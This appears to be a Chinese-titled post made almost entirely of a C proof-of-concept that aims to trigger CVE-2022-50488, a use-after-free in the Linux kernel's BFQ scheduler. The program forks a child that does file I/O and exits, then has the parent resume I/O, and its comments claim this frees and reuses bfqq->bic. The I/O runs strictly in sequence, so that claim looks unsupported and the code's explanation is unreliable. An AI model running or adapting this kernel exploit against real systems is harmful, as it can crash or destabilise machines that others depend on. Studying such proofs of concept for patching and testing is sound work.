CVE-2022-50488 Linux内核BFQ调度器bfqq->bic释放后使用漏洞

// CVE-2022-50488 PoC - Trigger UAF in BFQ scheduler // This PoC demonstrates the use-after-free vulnerability in bfqq->bic // Requires: Linux kernel 5.10.x, root or low-privilege access #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <pthread.h> #include <sys/mount.h> #include <errno.h> #define TEST_FILE "/tmp/test_bfq_uaf" #define BUF_SIZE 4096 // Step 1: Create two processes doing IO in the same cgroup void* process_io(void* arg) { int fd; char buf[BUF_SIZE]; memset(buf, 'A', BUF_SIZE); fd = open(TEST_FILE, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return NULL; } // Perform IO to trigger BFQ queue creation for (int i = 0; i < 1000; i++) { write(fd, buf, BUF_SIZE); fsync(fd); pread(fd, buf, BUF_SIZE, 0); } close(fd); return NULL; } // Step 2: Trigger queue merge by having both processes access same file void trigger_merge() { pid_t pid = fork(); if (pid == 0) { // Child process - will exit to trigger BIC free process_io(NULL); exit(0); // BIC freed here } else { // Parent process - continues IO waitpid(pid, NULL, 0); // Now BIC is freed but bfqq still references it -> UAF process_io(NULL); } } int main() { // Create test file int fd = open(TEST_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd >= 0) { ftruncate(fd, 1024 * 1024); close(fd); } printf("CVE-2022-50488 PoC - BFQ UAF\n"); printf("Triggering use-after-free in bfqq->bic...\n"); // Trigger the vulnerability trigger_merge(); printf("PoC completed. Check kernel logs for UAF detection.\n"); unlink(TEST_FILE); return 0; }